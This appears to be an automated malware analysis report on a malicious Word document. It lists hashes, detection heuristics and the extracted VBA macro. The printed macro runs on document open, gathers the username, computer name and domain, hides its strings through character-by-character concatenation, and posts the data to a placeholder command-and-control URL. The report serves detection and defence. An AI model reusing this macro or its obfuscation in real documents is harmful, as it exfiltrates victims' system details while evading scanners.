Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 6843cb71023e30b0…

MALICIOUS

Office (OOXML) / .DOCX

17.8 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-05-27
MD5: 86cf6e63751cb5bf53b0d51481eae067 SHA-1: 1cef210c207af1390552098235700c2ee78515ca SHA-256: 6843cb71023e30b062e35b8276711beb2d1ef3bf4f93bd43589d593b234738b7
138 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objHTTP = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "X" & "M" & "L" & "H" & "T" & "T" & "P")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objHTTP = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "X" & "M" & "L" & "H" & "T" & "T" & "P")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        strUsername = Environ("USERNAME")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1715 bytes
SHA-256: 18304439d40103bdbed97472f6044841cb5f08e0a276169a3c915f23b3f810d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim strUsername As String
    Dim strComputerName As String
    Dim strDomain As String
    Dim strData As String
    Dim objHTTP As Object
    Dim strC2Server As String
    
    ' Discovery
    strUsername = Environ("USERNAME")
    strComputerName = Environ("COMPUTERNAME")
    strDomain = Environ("USERDOMAIN")
    
    ' Data Preparation for Exfiltration
    strData = "U" & "s" & "e" & "r" & "n" & "a" & "m" & "e" & "=" & strUsername & "&" & "C" & "o" & "m" & "p" & "u" & "t" & "e" & "r" & "N" & "a" & "m" & "e" & "=" & strComputerName & "&" & "D" & "o" & "m" & "a" & "i" & "n" & "=" & strDomain
    
    ' Command and Control (C2)
    strC2Server = "h" & "t" & "t" & "p" & ":" & "/" & "/" & "e" & "x" & "a" & "m" & "p" & "l" & "e" & ".c" & "o" & "m" & "/" & "c" & "2"
    Set objHTTP = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "X" & "M" & "L" & "H" & "T" & "T" & "P")
    objHTTP.Open "P" & "O" & "S" & "T", strC2Server, False
    objHTTP.setRequestHeader "C" & "o" & "n" & "t" & "e" & "n" & "t" & "-" & "T" & "y" & "p" & "e", "a" & "p" & "p" & "l" & "i" & "c" & "a" & "t" & "i" & "o" & "n" & "/" & "x" & "-" & "w" & "w" & "w" & "-" & "f" & "o" & "r" & "m" & "-" & "u" & "r" & "l" & "e" & "n" & "c" & "o" & "d" & "e" & "d"
    objHTTP.Send strData
    
    ' Error Handling
    If objHTTP.Status <> 200 Then
        ' Handle error
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 21f45959e792c9e3635cd7a74bb896f0b7aaf15f5de343fae63479bae8906f8c

Open this report in the interactive analyzer, or submit your own file for analysis.